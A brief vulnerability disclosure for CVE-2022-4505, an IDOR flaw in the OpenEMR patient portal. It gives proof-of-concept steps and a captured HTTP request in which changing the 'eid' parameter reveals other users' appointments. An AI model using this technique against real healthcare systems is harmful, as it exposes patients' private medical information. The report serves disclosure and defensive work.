CVE-2022-4505: Idor disclose other user's appointment in openemr

Description:-

In this case an idor allow an attacker to view portal user’s appointments

Proof of Concept

1.Goto http://demo.openemr.io/openemr/portal/home.php and then goto my profile >my appointment
2.Click on edit appointment button and capture the request in burp suite 
3. Change eid parameter to any number 

poc

GET https://demo.openemr.io/openemr/portal/add_edit_event_user.php?eid=24 <-- Change this to 23,22,25

Host: demo.openemr.io

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: /

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: https://demo.openemr.io/openemr/portal/home.php

X-Requested-With: XMLHttpRequest

DNT: 1

Connection: keep-alive

Cookie: PortalOpenEMR=Sessionid

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: no-cors

Sec-Fetch-Site: same-origin

Pragma: no-cache

Cache-Control: no-cache

# Impact

An attacker can view all Appointments